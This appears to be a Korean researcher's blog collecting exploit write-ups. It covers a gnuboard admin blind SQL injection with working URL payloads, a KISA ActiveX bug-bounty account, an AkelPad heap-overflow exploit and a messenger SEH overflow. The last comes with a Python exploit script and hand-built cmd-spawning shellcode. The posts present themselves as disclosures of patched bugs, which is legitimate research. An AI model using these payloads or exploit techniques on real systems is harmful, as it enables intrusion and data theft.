My Exploit

작년 해당 취약점을 발견 후 제보를 했고 패치도 금방 되었다. 이미 1년이 넘게 지났으니 이제 공개해도 될것 같아 공개한다.


사실 관리자 페이지에서 발생하는 취약점이기 때문에 활용도가 크지는 않다.


sst 변수에서 입력값 검증을 하지 않아 발생하는 취약점이며, order by 구문에 삽입이 가능하여 이를 이용한 blindSQL 인젝션이 가능하다.




거짓, po_rel_id 로 정렬 : /gnuboard/adm/point_list.php?&sst=case/**/when/**/1^1/**/then/**/po_point/**/else/**/po_rel_id/**/end&sod=desc&sfl=mb_id


참, po_point 로 정렬 : /gnuboard/adm/point_list.php?&sst=case/**/when/**/1^0/**/then/**/po_point/**/else/**/po_rel_id/**/end&sod=desc&sfl=mb_id




블라인드 인젝션이 가능하지만 몇가지 제약사항이 있었다. 


- 띄어쓰기 안됨 => /**/ 로 해결


- 서브쿼리 안됨 => case when 문으로 해결


- ' 안됨 -> 0x41 아스키 구문으로 해결


 ex)  mb_id like 0x%s and mb_password



아래처럼 공격해서 값을 알아낼 수 있다.


http://172.30.1.34/gnuboard/adm/point_list.php?&sst=case/**/when/**/po_content/**/like/**/0x25[아스키값]/**/then/**/po_point/**/else/**/po_rel_id/**/end&sod=desc&sfl=mb_id






'My Exploit' 카테고리의 다른 글

KISA ActiveX 취약점 집중점검 후기  (2) 2014.09.01
Bug Hunting - AkelPad Heap Unicode BufferOverflow  (2) 2013.11.21
메신저 exploit 제작기  (3) 2013.11.06


최근 8월 한달간 인터넷진흥원에서 실시한 ActiveX 취약점 집중 점검에 나도 참가했다.


물론 2012년부터 있던 취약점 신고포상 제도 였으나 집중이라는 단어로 인하여 이상한 홍보(?) 효과가 있던 것 같다.

(나도 마찬가지지만 -_-ㅋ)


어쨌든 2주 정도 집중해서 찾은 결과...대략 12개 정도의 제로데이를 찾아서 제보했다.












 



아직 패치가 되지 않았으니 공개할 순 없으나 향후 패치가 되고 나면 하나씩 분석 문서를 올리도록 하겠다.  



[ 2015.1. 추가 ] 


포상완료 후기


8월에 실시했고, 실제 입금은 9~10월 평가를 거쳐 10월 말 정도에 이루어 졌다. 총 접수된 건수가 100여건이고 실제 포상은 


80건 정도가 됐다고 한다. 금액은 최대 500만이라곤 했으나 건당으로 그렇게 많이 주진 않았다. 총 12건 정도의 제보 중 3건은 타인이


먼저 제보해서 제외되었고 나머지 9건에 대해서 포상을 받았다.


그래도 충분한 용돈벌이 정도는 됐다. -_-ㅋ 


결론 : 앞으로 취약점 제보는 키사에..




가벼운 에디터 툴을 찾아보다가, akelpad 라는 툴을 찾게 되었다. 메모장과 비슷하지만 플러그인 등을 제공하여 


가벼우면서도 다양한 기능을 제공하고 있었다.  조금 사용하던중 취약점을 찾아보자 라는 생각이 문득 들어서 소스코


드를 다운받아 살펴보기 시작했다. 


결론부터 말하면 취약점을 찾았고, exploit 에 성공했다.  :)


http://akelpad.sourceforge.net/en/index.php









취약함수인 strcpy 위주로 검색을 해보니 역시나 존재했다. 쓰지 말라고 아무리 말해도 쓴다. ㅎㅎㅎ 





처음엔 간단한 메모리커럽션 으로 생각해서 쉽게 exploit 이 가능한 취약점이라 생각했다. 해당 소스는 설정파일인 


AkelPad.ini 에서 CmdLineBegin 과 CmdLineEnd 항목을 읽어올 때 복사할 크기를 지정하지 않는 strcpy 함수를 


사용하기 때문에 발생한다. 



하지만 이렇게 쉬울리가 없겠지....금방 몇가지 문제가 발생했다. -_-;


1) 설정파일이 UTF-16 인코딩이 되어 있음 

   -> 유니코드로 인식되어 00 바이트 추가 ( 47 -> 47 00 )


2) stack bof 가 아닌 heap bof 

   -> 함수 포인터나 기타 exploit 가능한 상황을 찾아야 함







다시 정확한 분석을 위해 디버깅을 진행하며 확인해 보았다. A, B 등의 문자를 채워넣으면 ntdll 의 특정 함수에서 


예외처리로 걸려서 넘어가질 않았고, "G" 로 하니 잘 넘어갔다. 아마 입력된 문자로 어떤 주소값이 만들어 지고, 이 주


소값이 제대로 된 주소가 아니면 ntdll 에서 에러를 뱉으며 종료되는 것 같았다. exploit 을 위해서는 어플리케이션으로


돌아가야 하므로 이것저것 찾아보다 보니 "G" 는 470047 인데, 이 주소값은 이 어플리케이션 모듈의 이미지 주소였


다. 


 어쨌든, 아래와 같이 간단히 python 코드를 제작하여 다시 디버거를 통해 실행시켜 보았다.





뚜둥~ CALL EAX  와 함께 00470047 주소를 호출하려 하고 있다. 이말은 EAX 가 내가 입력한 GGG... 에 의해 변경


이 되었고, 이 주소를 CALL 한다는 것은 이버그가  Exploitable 하다는 뜻이었다. 





좀더 자세히 살펴보면 CALL EAX 를 하기 전 특정 Heap 주소에서 어떤 값을 EAX 에 넣어주고 있다. 이 주소의 값이 


내가 입력한 GGG 에 덮어씌워 진 것이라 짐작할 수 있다. 




CALL [Reg] 형태의 명령은 보통 함수 포인터를 사용하는 코드이다. IDA 를 통해 자세히 살펴보면, 아래와 같이 해당 


주소는 MonitorFromPoint 함수의 주소를 얻어와 저장해 둔 메모리 주소이다.  bof 에 의해 이 값이 변조되어 실제


CALL EAX 가 이루어질 시점엔 EAX 가 특정 임의의 값으로 변조되어 있던 것이었다.






이제 취약점 분석은 끝났으니 간단히 exploit 을 제작해 보자. 




# exploit 을 위한 정보 


1) Unicode 인코딩 파일포맷 -> ascii 강제저장으로 우회


2) 47 00 47 00 코드도 Nop 코드이므로 그냥 47004700 사용 ( 정상적으로 이 버그 코드에 도달하기 위해서 47004700 을

    사용해야함. AAAA.. 등은 중간에 ntdll 에 잡아먹힘. )


3) 0x470047 주소는 내가 입력이 가능한 Buffer 임 -> 쉘코드 위치


4) 쉘코드는 간단한 cmd 실행 코드 사용


위를 종합한 payload 는 다음과 같다.



     1          2              3                  4

dummy + nop + shellcode + dummy(overwrite function pointer)


4 에 의해 function pointer 가 470047로 덮어씌워지고, 2로 점프한 뒤 3을 만나 쉘코드를 실행하게 될 것이다.


이제 직접 실행을 해보자.









CALL EAX 가 실행되는 시점에 EAX 는 0x470047 로 변경되어 있으며, 아래와 같이 해당 주소에는 미리 입력해둔 


Nop + Shellcode 가 존재한다.




CALL 0x470047




Nop Sled




ShellCode 실행






CMD !!  Exploit 성공~!! :)



















메신저 exploit 제작기

2013. 11. 6. 23:50


어찌어찌하다 메신저 프로그램 (거의 안쓰는...2007년 이후로 개발도 중지된 듯 ㅎ) BOF 취약점을 발견하게 되어


재미로 exploit 까지 만들게 되었다. 이왕 만든 김에 간략히 중요한 부분만 정리해 보려고 한다.



1. 발견


 - 메신저를 사용하던 중 뭔가 자꾸 에러로 죽는 것을 발견

 - 호기심에 "AAAAAA..." 로 채워서 여러기능 수동 테스트

 - 메시지 저장 부분에서  crash & EIP=0x41414141 발견(!)







2. 분석


  확인 결과 전형적인 BOF 였으며, SEH 기반으로 Exploit 이 가능할 것으로 보였다. 크기를 확인하기 위해 


   !mona pc create 10000


  으로 패턴을 생성하여 확인했고, SEH 까지의 거리는 4120 이었다. ( !mona suggest 명령으로 자동 확인 가능 )







  일반적인 SEH Exploit 의 Payload 인  dummy + nseh + seh + dummy 로 Exploit 을 구성하려 했으나, 몇가지 

 

  상황으로 인해 어려웠다.


  먼저, 파일을 읽어서 처리하는 과정에서 0d0a0b 등을 포함한 개행문자 등의 몇가지 특수문자가 있으면 복사가 중단


  되었다. 그리고 아스키 복사 함수에서 발생하는 취약점이기 때문에 nseh, seh 주소 등에 %00 이 들어가게 되면


  뒷부분은 역시 복사가 되지 않는다. 또한 버퍼에 7f 이상의 값이 들어가면 다 3f 처리된다. 정리해 보면, 


     1) %0d %0a %0b 불가

     2) 7f 이상의 바이트는 3f 필터 처리

     3) %00 불가 

     4) 취약 바이너리를 제외한 모든 모듈은 safeseh 처리가 되어 있음

     5) pop pop ret 쓰려면 safeseh 아닌 모듈인 취약 바이너리에서 써야 하는데, base 주소가 00 으로 시작(-_-)함





3. Exploit 제작


  단순할거라 생각했던 exploit 제작에 몇가지 걸림돌이 있어 약간의 테크닉이 필요했다.


     1) %0d %0a %0b 불가

         -> 해당 바이트 제외한 주소값 선정


     2) 7f 이상의 바이트는 3f 필터 처리

         -> 몇가지 테크닉을 통한 3f 필터 처리 우회

         -> 쉘코드 3f 필터 우회방법은 몇가지가 있다. 

                  - alpha_mix 등의 알파벳으로만 인코딩을 해주는 msfencode 사용 (단, 몇가지 사용 제약 사항이 존재) 

                  - \xd0\xd0 과 같이 두번 중복해서 사용 시 \xd0\x3f 로 변환되어 \xd0 한번은 제대로 입력됨

                  - \x90 을 중간중간 삽입하면 변환이 되지 않는 경우가 있음

                  - 필요한 문자열과 주소값을 esp+4 , esp+8 등을 이용하여 구성 후 push 로 인자값 구성 


     3) %00 불가 

         -> 일반적인 payload 대신 payload 를 버퍼의 앞에 넣고, pop pop ret 대신 esp+xx, ret 가젯이용(stack pivot)



 몇번의 시행착오 후에 아래와 같이 exploit 을 제작할 수 있었다. 정석적으로 3f 를 우회하려면 alpha_mix 인코더가 

 

 가장 신뢰성 있겠지만 컨트롤 가능한 레지스터가 필요하므로(이걸 옵션으로 주지 않으면 완벽한 3f 우회 불가) 그냥


 주먹구구식(?)으로 우회했다.



           # vi exploit_msg.py

import os,sys
print " # Msg*** Exploit v1.0 by hyunmini"
print "[+] Making msg file..."

stackpivot = "\x16\x4c\x4b\x00"   # esp + 1040 ,ret 

jmp = "\x42\x63\x10\x77" # jmp esp 0x77106342
shellcode  = "\x55\x8b\xec\x83\xec\x44\x33\xc0"
shellcode += "\xc6\x44\x24\x04\x63"   # c
shellcode += "\xc6\x44\x24\x05\x6d"   # m
shellcode += "\xc6\x44\x24\x06\x64"   # d
shellcode += "\x88\x44\x24\x07"
shellcode += "\x6a\x05"
shellcode += "\x8d\x44\x24\x08"
shellcode += "\x50"
shellcode += "\xc6\x44\x24\x10\xad\x90" # 7c8623ad -> WinExec() Addr
shellcode += "\xc6\x44\x24\x11\x23\x90"
shellcode += "\xc6\x44\x24\x12\x86\x90"
shellcode += "\xc6\x44\x24\x13\x7c\x90"
shellcode += "\x8b\x44\x24\x10\x90\x90\x90\x90\x90\x90"
shellcode += "\xff\xd0\xd0\x6a\x01\xb8\xfa\xca\x81\x7c\xff\xd0\xd0"

dummy = "A" * 12
padding = "A" * (4121-len(dummy)-len(shellcode))
payload = dummy + jmp + shellcode + padding + stackpivot

f = open("C:\\Program Files\\*********\\mymsg.txt","w")
#f.write(payload)
f.write(pattern)
f.close()
print " [+] finish !!"

  


이제 실행해보자. 실행 후 처음 예외가 발생하여 디버거가 멈추면 아래와 같이 버퍼가 정상적으로 덮어씌워 졌음을 

 

확인할 수 있다. 예외가 발생했으니 아래와 같이 SEH로 덮어씌운 0x004b4c16 의 주소 명령이 실행될 것이다.  




해당 주소는 ADD ESP, 404  가젯이며, 이 Stack Pivot 가젯을 통해 기존의 버퍼로 돌아올 수 있다. 


(SEH라 해서 꼭 POP POP RET 를 할 필욘 없다. 그저 돌아오는 것이 중요할 뿐)



RETN 을 하면 버퍼 시작지점 + 12 byte 로 돌아오게 되고, 이곳엔 미리 넣어둔 jmp esp 코드가 들어있다.





jmp esp 까지 실행하면 이제 EIP 는 쉘코드로 변경되고, 원하던 쉘코드를 실행시킬 수 있다. 이 쉘코드에는 위에서


말한 몇가지 테크닉이 적용된 상태이다. :)





이제 끝까지 실행하면 아래와 같이 CMD 창이 뜨는 것을 확인할 수 있다. 



성공~! ㅎ

+ Recent posts